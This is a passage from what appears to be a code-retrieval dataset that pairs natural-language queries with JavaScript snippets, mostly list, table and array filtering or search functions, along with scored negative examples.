tr[i].getElementsByTagName(\\\"td\\\")[1]; //Descrição\\r\\n td3 = tr[i].getElementsByTagName(\\\"td\\\")[3]; //Código de barras\\r\\n if (td || td2 || td3) {\\r\\n if (td.innerHTML.toUpperCase().indexOf(filter) > -1 || td2.innerHTML.toUpperCase().indexOf(filter) > -1 || td3.innerHTML.toUpperCase().indexOf(filter) > -1) {\\r\\n tr[i].style.display = \\\"\\\";\\r\\n } else {\\r\\n tr[i].style.display = \\\"none\\\";\\r\\n }\\r\\n }\\r\\n }\\r\\n}\",\n \"filteravanzado(event) {\\n var text = event.target.value\\n console.log(text)\\n const data = this.state.listaBackup2\\n const newData = data.filter(function (item) {\\n\\n const itemDataTitle = item.titulo.toUpperCase()\\n const itemDataSubt = item.subtitulo.toUpperCase()\\n const campo = itemDataTitle+\\\" \\\"+itemDataSubt\\n const textData = text.toUpperCase()\\n return campo.indexOf(textData) > -1\\n })\\n this.setState({\\n listaAviso2: newData,\\n textBuscar2: text,\\n })\\n }\",\n \"findItem(query) {\\n if (query === '') {\\n return this.dataSearch.slice(0, 5);\\n }\\n const regex = new RegExp(`${query.trim()}`, 'i');\\n return this.dataSearch.filter(film => film.name.search(regex) >= 0);\\n }\",\n \"function filter(kataKunci) {\\n var filteredItems = []\\n for (var j = 0; j < items.length; j++) {\\n var item = items[j];\\n var namaItem = item[1]\\n var isMatched = namaItem.toLowerCase().includes(kataKunci.toLowerCase())\\n\\n if(isMatched == true) {\\n filteredItems.push(item)\\n }\\n }\\n return filteredItems\\n}\",\n \"function filterTasks() {\\n let result = filter.value.toLowerCase()\\n document.querySelectorAll(\\\".collection-item\\\").forEach(function (item) { //NodeList\\n if (item.innerText.toLowerCase().includes(result)) {\\n item.style.display = \\\"block\\\"\\n } else {\\n item.style.display = \\\"none\\\"\\n }\\n })\\n /*\\n Array.from(taskList.children).forEach(function(item){\\n item.style.display = (item.textContent.toLowerCase().includes(e.target.value.toLowerCase())? \\\"block\\\" : \\\"none\\\")\\n })\\n */\\n}\",\n \"function filter(word) {\\n let length = items.length\\n let collection = []\\n let hidden = 0\\n for (let i = 0; i < length; i++) {\\n if (items[i].value.toLowerCase().startsWith(word)) {\\n $(items[i]).css({display: 'block'})\\n }\\n else {\\n $(items[i]).css({display: 'none'})\\n hidden++\\n }\\n }\\n\\n //If all items are hidden, show the empty view\\n if (hidden === length) {\\n $('#empty').show()\\n }\\n else {\\n $('#empty').hide()\\n }\\n}\",\n \"function filtrarProductosXEtiqueta() {\\n let textoIngresado = $(\\\"#txtFiltroProductos\\\").val();\\n textoIngresado = textoIngresado.toLowerCase();\\n let arrayFiltrados = { data: Array(), error: \\\"\\\" };\\n for (let i = 0; i < productos.length; i++) {\\n let unProd = productos[i];\\n let unaEtiqueta = unProd.etiquetas;\\n let x = 0;\\n let encontrado = false;\\n while (!encontrado && x < unaEtiqueta.length) {\\n let etiquetaX = unaEtiqueta[x];\\n if (etiquetaX.includes(textoIngresado)) {\\n arrayFiltrados.data.push(unProd);\\n encontrado = true;\\n }\\n x++;\\n }\\n }\\n crearListadoProductos(arrayFiltrados);\\n}\",\n \"function sexoSeleccionado(){\\n console.trace('sexoSeleccionado');\\n let sexo = document.getElementById(\\\"selector\\\").value;\\n console.debug(sexo);\\n if(sexo == 't'){\\n pintarLista( personas );\\n }else{\\n const personasFiltradas = personas.filter( el => el.sexo == sexo) ;\\n pintarLista( personasFiltradas );\\n \\n \\n }//sexoSeleccionado\\n limpiarSelectores('sexoselec');\\n \\n}\",\n \"function filter(films, margins) {\\n\\tif (margins[0]==10&&margins[1]==100) {\\n\\t}else{\\n\\t\\titems.innerHTML=\\\"\\\";\\n\\t\\tvar searchedFilms = [];\\n\\t\\tvar filmRating;\\n\\t\\tfor (var i=0; iGenre: \\\" + films[i].genre + defLa[4] + films[i].rating + defLa[5];\\n\\t\\t\\tfilmRating = films[i].rating.replace(\\\".\\\", \\\"\\\");\\n\\t\\t\\tfilmRating = filmRating.replace(\\\".\\\", \\\"\\\");\\n\\t\\t\\tif (filmRating>margins[0]&&filmRating l.titre.includes(searchFilter)||l.auteur.nom.includes(searchFilter)||l.auteur.prenom.includes(searchFilter));\\n\\t}\",\n \"filteredFruits(){\\n return this.fruits.filter((element)=> {\\n return element.match(this.filterInputText)\\n })\\n }\",\n \"function filterGenres() {\\r\\n var genderMovieSelect = $(\\\"#genders-movie select\\\").val()\\r\\n if (genderMovieSelect != \\\"all\\\") {\\r\\n $(\\\"#movie .template\\\").each(function() {\\r\\n var gid = $(this).attr(\\\"data-generi\\\").split(',');\\r\\n if (gid.includes(genderMovieSelect)) $(this).show()\\r\\n else $(this).hide()\\r\\n });\\r\\n } else {\\r\\n $(\\\"#movie .template\\\").show()\\r\\n }\\r\\n var genderTVSelect = $(\\\"#genders-tv select\\\").val()\\r\\n if (genderTVSelect != \\\"all\\\") {\\r\\n $(\\\"#tvshow .template\\\").each(function() {\\r\\n var gid = $(this).attr(\\\"data-generi\\\").split(',');\\r\\n if (gid.includes(genderMovieSelect)) $(this).show()\\r\\n else $(this).hide()\\r\\n });\\r\\n } else {\\r\\n $(\\\"#tvshow .template\\\").show()\\r\\n }\\r\\n }\",\n \"function filterFunction() {\\n var input, filter, ul, li, a, i;\\n input = document.getElementById(\\\"mySearches\\\");\\n filter = input.value.toUpperCase();\\n div = document.getElementById(\\\"mySearch\\\");\\n a = div.getElementsByTagName(\\\"a\\\");\\n for (i = 0; i < a.length; i++) {\\n txtValue = a[i].textContent || a[i].innerText;\\n if (txtValue.toUpperCase().indexOf(filter) > -1) {\\n a[i].style.display = \\\"\\\";\\n } else {\\n a[i].style.display = \\\"none\\\";\\n }\\n }\\n}\",\n \"function filtros3(){\\n\\t\\n\\t\\n\\tvar recibe=$(this).val();\\t\\n\\tvar detector=$(this).attr('name');\\t\\n\\t\\n\\t$('#admin tr').show();\\n\\t\\n\\tif(recibe.length>0 && detector=='nombre'){\\n\\t\\t // con la clase .nombre le decimos en cual de las celdas buscar y si no coincide, ocultamos el tr que contiene a esa celda. \\n $(\\\"#admin tr td.nombre\\\").not(\\\":Contains('\\\"+recibe+\\\"')\\\").parent().hide();\\n\\t\\t\\n\\t}\\n\\tif(recibe.length>0 && detector=='area'){\\n\\t\\t // con la clase .nombre le decimos en cual de las celdas buscar y si no coincide, ocultamos el tr que contiene a esa celda. \\n $(\\\"#admin tr td.area\\\").not(\\\":Contains('\\\"+recibe+\\\"')\\\").parent().hide();\\n\\t}\\n\\tif(recibe.length>0 && detector=='super'){\\n\\t\\t // con la clase .nombre le decimos en cual de las celdas buscar y si no coincide, ocultamos el tr que contiene a esa celda. \\n $(\\\"#admin tr td.super\\\").not(\\\":Contains('\\\"+recibe+\\\"')\\\").parent().hide();\\n\\t}\\n\\tif(recibe.length>0 && detector=='baja'){\\n\\t\\t // con la clase .nombre le decimos en cual de las celdas buscar y si no coincide, ocultamos el tr que contiene a esa celda. \\n $(\\\"#admin tr td.baja\\\").not(\\\":Contains('\\\"+recibe+\\\"')\\\").parent().hide();\\n\\t}\\n\\tif(recibe.length>0 && detector=='inicio'){\\n\\t\\t // con la clase .nombre le decimos en cual de las celdas buscar y si no coincide, ocultamos el tr que contiene a esa celda. \\n $(\\\"#admin tr td.inicio\\\").not(\\\":Contains('\\\"+recibe+\\\"')\\\").parent().hide();\\n\\t}\\n\\tif(recibe.length>0 && detector=='fin'){\\n\\t\\t // con la clase .nombre le decimos en cual de las celdas buscar y si no coincide, ocultamos el tr que contiene a esa celda. \\n $(\\\"#admin tr td.fin\\\").not(\\\":Contains('\\\"+recibe+\\\"')\\\").parent().hide();\\n\\t}\\n\\tif(recibe.length>0 && detector=='jefe'){\\n\\t\\t // con la clase .nombre le decimos en cual de las celdas buscar y si no coincide, ocultamos el tr que contiene a esa celda. \\n $(\\\"#admin tr td.jefe\\\").not(\\\":Contains('\\\"+recibe+\\\"')\\\").parent().hide();\\n\\t}\\n\\t\\n\\t\\n\\treturn false;\\n}\",\n \"function displayFilterValues(type, name) {\\n $(\\\"#filterType\\\").text(type);\\n\\n //to ensure that the name is not too long\\n const maxNameLength = 25;\\n if (name.length > maxNameLength) {\\n const nameArr = name.split(' ');\\n name = '';\\n for (let count = 0; count < nameArr.length; count++) {\\n if ((name + nameArr[count]).length > maxNameLength) break;\\n name += ' ' + nameArr[count];\\n }\\n name = name.substring(1);\\n }\\n\\n $(\\\"#filterName\\\").text(name);\\n}\",\n \"function filterNames () {\\n\\n // Declare variable to hold value of filtered names\\n let filteredNames;\\n\\n // If all...\\n if (isAllShowing===true) {\\n filteredNames = myNames.map((name) => {\\n name.is_visible=true\\n return name\\n });\\n setMyNames(filteredNames);\\n }\\n\\n // If first...\\n else if (isFirstShowing===true) {\\n filteredNames = myNames.map((name) => {\\n if (name.type==='first') {\\n name.is_visible=true\\n return name\\n }\\n else {\\n name.is_visible=false\\n return name;\\n }\\n });\\n setMyNames(filteredNames);\\n }\\n\\n // If middle...\\n else if (isMiddleShowing===true) {\\n filteredNames = myNames.map((name) => {\\n if (name.type==='middle') {\\n name.is_visible=true\\n return name\\n }\\n else {\\n name.is_visible=false\\n return name;\\n }\\n });\\n setMyNames(filteredNames);\\n }\\n\\n // If full...(implied as all other types are specified in above conditionals)\\n else {\\n filteredNames = myNames.map((name) => {\\n if (name.type==='full') {\\n name.is_visible=true\\n return name\\n }\\n else {\\n name.is_visible=false\\n return name;\\n }\\n });\\n setMyNames(filteredNames);\\n }\\n }\",\n \"selectFilterFacilidade(facilidades){\\n\\n //to open the DropDown\\n this.getDropDownBoxFacilidades().click();\\n\\n //Search by the passed facilidades and click in checkBoxes\\n facilidades.forEach((item) => {\\n this.getCheckboxesFacilidades().contains(item).click();\\n });\\n }\",\n \"function filtra(event){\\n\\t\\n\\tconst searchString=event.currentTarget.value.toLowerCase();\\n\\tconst trovati = document.querySelectorAll('.cercato');\\n\\tconst corpo = document.querySelector('body');\\n\\tconst primaSezione = document.querySelector('section');\\n\\tconst oggetti = document.querySelectorAll('.oggetto');\\n\\t\\n\\tconst sezFiltrati = document.createElement('div');\\n\\tsezFiltrati.classList.add('filtrati');\\n\\tcorpo.insertBefore(sezFiltrati, primaSezione);\\n\\t\\t\\n\\t\\tfor(let obj of oggetti){\\n\\t\\t\\t\\n\\t\\t\\t\\n\\t\\t\\tif(obj.childNodes[4].innerText.toLowerCase().includes(searchString)){\\n\\n\\t\\t\\t\\t\\n\\t\\t\\t\\tconst oggetto1 = document.createElement('div'); \\n\\t\\t\\t\\toggetto1.classList.add('cercato');\\n\\t\\t\\t\\tsezFiltrati.appendChild(oggetto1);\\n\\t\\t\\t\\t\\n\\t\\t\\t\\tconst titolo = document.createElement('h2'); \\n\\t\\t\\t\\ttitolo.innerText = obj.childNodes[1].innerText;\\n\\t\\t\\t\\toggetto1.appendChild(titolo);\\n\\t\\t\\t\\t\\n\\t\\t\\t\\tconst immagine1 = document.createElement('img');\\n\\t\\t\\t\\timmagine1.src = obj.childNodes[2].src;\\n\\t\\t\\t\\toggetto1.appendChild(immagine1);\\n\\t\\t\\t\\t\\n\\t\\t\\t\\tconst codice1 = document.createElement('h3');\\n\\t\\t\\t\\tcodice1.textContent = obj.childNodes[3].textContent;\\n\\t\\t\\t\\toggetto1.appendChild(codice1);\\n\\t\\t\\n\\t\\t\\t\\tconst didascalia1 = document.createElement('article');\\n\\t\\t\\t\\t\\n\\t\\t\\t\\tdidascalia1.textContent = obj.childNodes[4].textContent;\\n\\t\\t\\t\\toggetto1.appendChild(didascalia1);\\n\\t\\t\\t\\t\\n\\t\\t\\t\\tconst filtraggio = document.querySelectorAll('.filtrati');\\t\\n//\\t\\t\\t\\tconsole.log(filtraggio);\\n\\t\\t\\t\\tlet conta = 0;\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\n\\t\\t\\t\\tfor(let item of filtraggio){\\t\\t\\t\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\tconta++;\\n//\\t\\t\\t\\t\\tconsole.log(conta);\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tif(conta > 1){\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\tfor(let item of filtraggio){\\n\\t\\t\\t\\t\\t\\titem.remove();\\n\\t\\t\\t\\t\\t\\tconta--;\\n\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif(searchString == ''){\\n\\t\\t\\tconst filtraggio = document.querySelectorAll('.filtrati');\\n//\\t\\t\\tconsole.log('Stringa vuota');\\n\\t\\t\\tfor(let item of filtraggio){\\n\\t\\t\\t\\t\\n\\t\\t\\t\\t\\t\\titem.remove();\\n\\t\\t\\t}\\n\\t\\t}\\n}\",\n \"function filtro(arreglo, criterios,signo) { \\n return arreglo.filter(function(obj) {return Object.keys(criterios).every(function(c) { //retorna los objetos que no cumplan los criterios si signo es true\\n if (signo) //retorna los objetos que cumplen los criterios si signo es false\\n return obj[c] != criterios[c]; // ejmplo de uso (arregloObjetos,{atributo1:a,atributo2:b},true)\\n else \\n return obj[c] == criterios[c]; \\n }); \\n }); \\n }\",\n \"function getCarsByName(name, count = 5) {\\n return data\\n .filter((car) =>\\n car.Name.toLocaleLowerCase().startsWith(name ? name.toLowerCase() : name)\\n )\\n .slice(0, count);\\n}\",\n \"function queryUserName(name){\\n var results = users.filter(function(o){\\n if(o.name.toLowerCase().indexOf(name.toLowerCase()) > - 1){\\n return o;\\n }\\n });\\n showUserResults(results);\\n}\",\n \"function searchAuthName() {\\n let input, filter, table, tr, td, i;\\n input = document.getElementById(\\\"searchAName\\\");\\n filter = input.value.toUpperCase();\\n table = document.getElementById('authorsTable');\\n tr = table.getElementsByTagName(\\\"tr\\\");\\n\\n // Loop through all list items, and hide those who don't match the search query\\n for (i = 0; i < tr.length; i++) {\\n td = tr[i].getElementsByTagName('td')[1];\\n if (td) {\\n if (td.innerHTML.toUpperCase().indexOf(filter) > -1) {\\n tr[i].style.display = \\\"\\\";\\n } else {\\n tr[i].style.display = \\\"none\\\";\\n };\\n };\\n };\\n }\",\n \"function filter(){\\n\\n\\tvar fifilter = $('#filter');\\n\\n\\tvar wadahFilter = fifilter.val().toLowerCase();\\n\\n\\tvar buah = $('.buah');\\n\\t\\tfor (var a = 0; a < buah.length; a++) {\\n\\n\\t\\t\\tvar wadahLi = $(buah[a]).text().toLowerCase();\\n\\t\\t\\t\\n\\t\\t\\tif(wadahLi.indexOf(wadahFilter) >= 0){\\n\\t\\t\\t\\t\\t$(buah[a]).slideDown();\\n\\t\\t\\t}else{\\n\\t\\t\\t\\t\\t$(buah[a]).slideUp();\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t// buah.each(function(){\\n\\t// \\tvar bubuah = $(this);\\n\\t// \\tvar namaBuah = bubuah.text().toLowerCase();\\n\\n\\t// \\tif(namaBuah.indexOf(wadahFilter) >= 0 ){\\n\\t// \\t\\t$(this).slideDown();\\n\\t// \\t}else{\\n\\t// \\t\\t$(this).slideUp();\\n\\t// \\t}\\n\\t// });\\n\\t\\n\\n}\",\n \"filterFunc (searchExpression, value) {\\n const itemValue = value.name\\n\\n return (!searchExpression || !itemValue)\\n ? false\\n : itemValue.toUpperCase().indexOf(searchExpression.toUpperCase()) !== -1\\n }\",\n \"function search() {\\n let input, filter, li, a, i, txtValue;\\n input = document.querySelector(\\\".search\\\");\\n filter = input.value.toUpperCase();\\n li = document.getElementsByClassName(\\\"readthis\\\");\\n for (i = 0; i < li.length; i++) {\\n a = li[i].getElementsByClassName(\\\"studentdetails\\\")[0];\\n txtValue = a.textContent || a.innerText;\\n if (txtValue.toUpperCase().indexOf(filter) > -1) {\\n li[i].style.display = \\\"\\\";\\n } else {\\n li[i].style.display = \\\"none\\\";\\n }\\n }\\n}\",\n \"function filterUser(value) {\\n const filterIndex = select.selectedIndex\\n let filter = select.options[select.selectedIndex].text\\n if (value.length >= 3) {\\n filteredUsers = users.filter((user) => {\\n if (user[filter].toLowerCase().includes(value.toLowerCase())) {\\n return user[filter]\\n }\\n })\\n createCards(filteredUsers)\\n } else if (value.length === 0) {\\n createCards(users)\\n }\\n\\n}\",\n \"function filterByGame() {\\n clearSearchbar();\\n const chosenGame = this.value;\\n const allGameCategories = Array.from(document.querySelectorAll(\\\".game-name\\\"));\\n allGameCategories.forEach(gameName => {\\n if (gameName.textContent !== chosenGame) {\\n gameName.parentElement.parentElement.parentElement.classList.add(\\\"hidden\\\");\\n }\\n else(gameName.parentElement.parentElement.parentElement.classList.remove(\\\"hidden\\\"));\\n });\\n checkAllTermsHidden();\\n}\",\n \"function filterTasks(e){\\n const text=e.target.value.toLowerCase();\\n //We used for each as the query selector all returns nodelist\\n document.querySelectorAll('.collection-item').forEach(function(task)\\n {\\n const item=task.firstChild.textContent;\\n if(item.toLowerCase().indexOf(text)!=-1)\\n {\\n task.style.display='block';\\n\\n }\\n else{\\n task.style.display='none';\\n }\\n });\\n}\",\n \"function textFilter() {\\n var filterValue, input, ul, li, i;\\n input = document.querySelector(\\\"#filterCompany\\\");\\n filterValue = input.value.toUpperCase();\\n ul = document.querySelector(\\\"#listOfCompanies\\\")\\n li = document.querySelectorAll(\\\"#listOfCompanies li\\\");\\n\\n for(i=0; i < li.length; i++) {\\n var a = li[i];\\n if(a.innerHTML.toUpperCase().indexOf(filterValue) > -1) {\\n li[i].style.display = \\\"\\\";\\n }\\n else {\\n li[i].style.display = \\\"none\\\";\\n }\\n }\\n}\",\n \"function searchText(value) {\\r\\n const card = document.querySelectorAll('.card');\\r\\n for (let i = 0; i < card.length; i++) {\\r\\n const userName = card[i].querySelector('.card-name').textContent\\r\\n if (userName.indexOf(value) > -1) {\\r\\n card[i].style.display = \\\"\\\";\\r\\n } else {\\r\\n card[i].style.display = \\\"none\\\";\\r\\n\\r\\n }\\r\\n }\\r\\n}\",\n \"function filtrarAuto() {\\r\\n // Funcion de alto nivel. Una funcion que toma a otra funcion.\\r\\n const resultado = autos.filter(filtrarMarca).filter(filtrarYear).filter(filtrarMinimo).filter(filtrarMaximo).filter(filtrarPuertas).filter(filtrarTransmision).filter(filtrarColor);\\r\\n // console.log(resultado);\\r\\n if (resultado.length)\\r\\n mostrarAutos(resultado);\\r\\n else\\r\\n noHayResultados();\\r\\n}\",\n \"function createFilterFor(query) {\\n\\n return function filterFn(proyecto) {\\n return (proyecto.titulo.indexOf(query) === 0);\\n };\\n }\",\n \"function filterByName(val){\\n return val.speaker == this;\\n }\",\n \"function SearchByName(){\\n if(inputSearch.value !== \\\"\\\"){\\n setTimeout(responsiveVoice.speak(inputSearch.value),0);\\n resultHotel= [];\\n result = hotels.filter((hotel) =>{\\n if( hotel.name.toLocaleLowerCase().indexOf(inputSearch.value.toLocaleLowerCase()) > -1){\\n return hotel;\\n }\\n })\\n inputSearch.value=\\\"\\\";\\n resultHotel = result;\\n display(result);\\n }else{\\n alerts(\\\"Add your Search\\\",3000);\\n }\\n range();\\n filterByPrice()\\n}\",\n \"filteredBirds() {\\n return vm.birds.filter(\\n (bird) => {\\n let filterBirdResult = true\\n if (this.filterName !== \\\"\\\") {\\n filterBirdResult = bird.name.includes(vm.filterName)\\n\\n }\\n return filterBirdResult\\n\\n }\\n )\\n\\n }\",\n \"function filterProjectsBy(evt) {\\n var category = evt.target.value;\\n $('.project-filterable').hide();\\n if (category) {\\n $('.' + category).show();\\n } else {\\n $('.project-filterable').show();\\n }\\n}\",\n \"function filterTasks(e){\\n console.log(\\\"Task filter...\\\")\\n var searchFilter, listItem, txtValue;\\n searchFilter = filter.value.toUpperCase();\\n listItem = document.querySelectorAll('.collection-item');\\n //looping through the list items, and hiding unmatching results\\n listItem.forEach(function(element){\\n txtValue = element.textContent || element.innerText;\\n if(txtValue.toUpperCase().indexOf(searchFilter) > -1){\\n element.style.display = \\\"\\\";\\n }else{\\n element.style.display = \\\"none\\\";\\n }\\n });\\n}\",\n \"filter(event) {\\n var text = event.target.value\\n console.log(text)\\n const data = this.state.listaBackup\\n const newData = data.filter(function (item) {\\n const itemData = item.titulo.toUpperCase()\\n const textData = text.toUpperCase()\\n return itemData.indexOf(textData) > -1\\n })\\n this.setState({\\n listaAviso: newData,\\n textBuscar: text,\\n })\\n }\",\n \"function search() {\\n const text = this.value;\\n if (text === '') {\\n rows.forEach(row => row.style.display = null);\\n return;\\n }\\n const length = names.length;\\n const regex = new RegExp(text, 'gi');\\n for (let i = 0; i < length; i++) {\\n if (names[i].match(regex)) rows[i].style.display = null;\\n else rows[i].style.display = 'none';\\n }\\n}\",\n \"function createFilterFor(query) {\\n\\n return function filterFn(fondeo) {\\n return (fondeo.titulo.indexOf(query) === 0);\\n };\\n }\",\n \"filterSuggest(results, search) {\\n const filter = results.filter( filter => filter.calle.indexOf(search) !== -1 );\\n\\n // Mostrar pines del Filtro\\n this.showPins(filter);\\n }\",\n \"function filterUl(value) {\\n var list = $(\\\"#drag-list-container li\\\").hide()\\n .filter(function () {\\n var item = $(this).text();\\n var padrao = new RegExp(value, \\\"i\\\");\\n return padrao.test(item);\\n }).closest(\\\"li\\\").show();\\n}\",\n \"filteredBirds() {\\n return this.birds.filter(\\n (bird) => {\\n let filterBirdResult = true\\n if (this.filterName !== \\\"\\\") {\\n filterBirdResult = bird.name.includes(this.filterName)\\n\\n }\\n return filterBirdResult\\n\\n }\\n )\\n\\n }\",\n \"function searchName(){\\n\\n const searchValue = document.querySelector('.search-input').value;\\n const cards = document.querySelectorAll(\\\".card\\\");\\n for (let index = 0; index < cards.length; index++) {\\n const name = cards[index].querySelector(\\\"#name\\\").innerHTML;\\n if (name.indexOf(searchValue)!=-1) {\\n cards[index].style.display = \\\"\\\";\\n }\\n else{\\n cards[index].style.display = \\\"none\\\";\\n }\\n \\n }\\n\\n}\",\n \"function searchEmployees() {\\n const searchName = searchBar.value.toLowerCase();\\n const cards = document.querySelectorAll(\\\".card\\\");\\n const names = document.querySelectorAll(\\\".card-name\\\");\\n\\n names.forEach((name, index) => {\\n const nameValue = name.textContent.toLowerCase();\\n\\n if (nameValue.includes(searchName)) {\\n cards[index].style.display = \\\"flex\\\";\\n } else {\\n cards[index].style.display = \\\"none\\\";\\n }\\n });\\n}\",\n \"function searchmovie() {\\r\\n var search,filter,ul,li,a,i,text;\\r\\n search=document.getElementById(\\\"inputid\\\");\\r\\n filter=search.value.toUpperCase();\\r\\n ul=document.getElementById(\\\"ulid\\\");\\r\\n li=ul.getElementsByTagName(\\\"li\\\");\\r\\n for(i=0; i -1)\\r\\n {\\r\\n li[i].style.display=\\\"\\\";\\r\\n }\\r\\n else\\r\\n {\\r\\n li[i].style.display=\\\"none\\\";\\r\\n }\\r\\n }\\r\\n}\",\n \"function searchCoffeeNames(e) {\\n e.preventDefault();\\n var userCoffeeName = document.getElementById(\\\"user-search\\\").value;\\n var filteredNames = [];\\n coffees.forEach(function(coffee) {\\n\\n if(coffee.name.toLowerCase().includes(userCoffeeName.toLowerCase())){\\n filteredNames.push(coffee);\\n\\n }\\n });\\n divBody.innerHTML = renderCoffees(filteredNames);\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.7111127","0.70671946","0.6926898","0.65646803","0.65564334","0.65414715","0.6495549","0.64823645","0.6480472","0.64273787","0.6356719","0.6287484","0.628119","0.62747353","0.6254951","0.62457097","0.6240369","0.6231702","0.62291324","0.6214421","0.61833346","0.61649287","0.61540836","0.6152671","0.6150111","0.61392003","0.6131705","0.61268264","0.61259377","0.6095607","0.60922086","0.6086056","0.6080461","0.60792506","0.60767734","0.6075486","0.6068441","0.60681546","0.60640305","0.6064003","0.60636234","0.60502464","0.60488564","0.604296","0.60367113","0.60367113","0.60263735","0.5979184","0.5976218","0.59689987","0.5962634","0.59612143","0.5948518","0.5946755","0.5940837","0.59381574","0.5936582","0.5930257","0.59255344","0.59248585","0.5923567","0.59207857","0.59156793","0.5912786","0.59094304","0.58990616","0.5897481","0.5888217","0.588466","0.58823884","0.58691734","0.58639187","0.58576757","0.58512354","0.58500934","0.5843733","0.58343816","0.5820156","0.581933","0.5818533","0.5810253","0.58017683","0.5798005","0.5793281","0.5789564","0.5786442","0.57753366","0.57703155","0.57699883","0.5764388","0.5760336","0.57591444","0.575787","0.5753717","0.57503706","0.57480997","0.5741961","0.5738072","0.5730007","0.5728624","0.5724562"],"string":"[\n \"0.7111127\",\n \"0.70671946\",\n \"0.6926898\",\n \"0.65646803\",\n \"0.65564334\",\n \"0.65414715\",\n \"0.6495549\",\n \"0.64823645\",\n \"0.6480472\",\n \"0.64273787\",\n \"0.6356719\",\n \"0.6287484\",\n \"0.628119\",\n \"0.62747353\",\n \"0.6254951\",\n \"0.62457097\",\n \"0.6240369\",\n \"0.6231702\",\n \"0.62291324\",\n \"0.6214421\",\n \"0.61833346\",\n \"0.61649287\",\n \"0.61540836\",\n \"0.6152671\",\n \"0.6150111\",\n \"0.61392003\",\n \"0.6131705\",\n \"0.61268264\",\n \"0.61259377\",\n \"0.6095607\",\n \"0.60922086\",\n \"0.6086056\",\n \"0.6080461\",\n \"0.60792506\",\n \"0.60767734\",\n \"0.6075486\",\n \"0.6068441\",\n \"0.60681546\",\n \"0.60640305\",\n \"0.6064003\",\n \"0.60636234\",\n \"0.60502464\",\n \"0.60488564\",\n \"0.604296\",\n \"0.60367113\",\n \"0.60367113\",\n \"0.60263735\",\n \"0.5979184\",\n \"0.5976218\",\n \"0.59689987\",\n \"0.5962634\",\n \"0.59612143\",\n \"0.5948518\",\n \"0.5946755\",\n \"0.5940837\",\n \"0.59381574\",\n \"0.5936582\",\n \"0.5930257\",\n \"0.59255344\",\n \"0.59248585\",\n \"0.5923567\",\n \"0.59207857\",\n \"0.59156793\",\n \"0.5912786\",\n \"0.59094304\",\n \"0.58990616\",\n \"0.5897481\",\n \"0.5888217\",\n \"0.588466\",\n \"0.58823884\",\n \"0.58691734\",\n \"0.58639187\",\n \"0.58576757\",\n \"0.58512354\",\n \"0.58500934\",\n \"0.5843733\",\n \"0.58343816\",\n \"0.5820156\",\n \"0.581933\",\n \"0.5818533\",\n \"0.5810253\",\n \"0.58017683\",\n \"0.5798005\",\n \"0.5793281\",\n \"0.5789564\",\n \"0.5786442\",\n \"0.57753366\",\n \"0.57703155\",\n \"0.57699883\",\n \"0.5764388\",\n \"0.5760336\",\n \"0.57591444\",\n \"0.575787\",\n \"0.5753717\",\n \"0.57503706\",\n \"0.57480997\",\n \"0.5741961\",\n \"0.5738072\",\n \"0.5730007\",\n \"0.5728624\",\n \"0.5724562\"\n]"},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":36,"cells":{"query":{"kind":"string","value":"Checks if `value` is a property name and not a property path."},"document":{"kind":"string","value":"function isKey(value, object) {\n if (Array.isArray(value)) {\n return false;\n }\n const type = typeof value;\n if (\n type === \"number\" ||\n type === \"boolean\" ||\n value == null ||\n isSymbol(value)\n ) {\n return true;\n }\n return (\n reIsPlainProp.test(value) ||\n !reIsDeepProp.test(value) ||\n (object != null && value in Object(object))\n );\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function isControlled(props, valueProp) {\n // React's built-in considers a prop to be provided if its value is non-null/undefined.\n // Mirror that behavior here (rather than checking for just undefined).\n return props[valueProp] !== undefined && props[valueProp] !== null;\n}","function isControlled(props, valueProp) {\n // React's built-in considers a prop to be provided if its value is non-null/undefined.\n // Mirror that behavior here (rather than checking for just undefined).\n return props[valueProp] !== undefined && props[valueProp] !== null;\n}","function checkOjects(value, obj) {\n return !!obj[value]\n }","validateVariablesValue(value, property, relativePath) {\n if (Object.prototype.toString.call(value) !== '[object Object]') {\n throw new Error(`Only an object can be converted to style vars (${relativePath}${property})`);\n }\n\n const keys = Object.keys(value);\n for (const k of keys) {\n if (!(\n // Define ok types of value (can be output as a style var)\n typeof value[k] === \"string\"\n || (typeof value[k] === \"number\" && Number.isFinite(value[k]))\n )) {\n throw new Error(\n `Style vars must have a value of type \"string\" or \"number\". Only flat objects are supported. ` +\n `In: ${relativePath}${property ? \":\" : \"\"}${property}`);\n }\n }\n\n return true;\n }","_isValidPropertyName(str) {\n return /^(?![0-9])[a-zA-Z0-9$_]+$/.test(str);\n }","function objectPropertyHasValue(prop) {\r\n\r\n return typeof prop !== 'undefined' && prop !== \"\" ? true : false;\r\n}","function isKey(value, key) {\n\t\t\t/// Validate a value as being equal to an object key.\n\t\t\t/// The value to validate.\n\t\t\t/// The name of the property\n\t\t\t/// \n\n\t\t\tif (value === null || value === undefined) {\n\t\t\t\treturn null;\n\t\t\t}\n\n\t\t\tif (Object.keys(obj).indexOf(value) !== -1) {\n\t\t\t\treturn value;\n\t\t\t}\n\n\t\t\tthrow new TypeError(\n\t\t\t\tkey + \" must be one of: \" + Object.keys(obj).join(\", \")\n\t\t\t);\n\t\t}","function assertProp(\n prop,\n name,\n value,\n vm,\n absent\n ) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n \"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" +\n \" Expected \" + 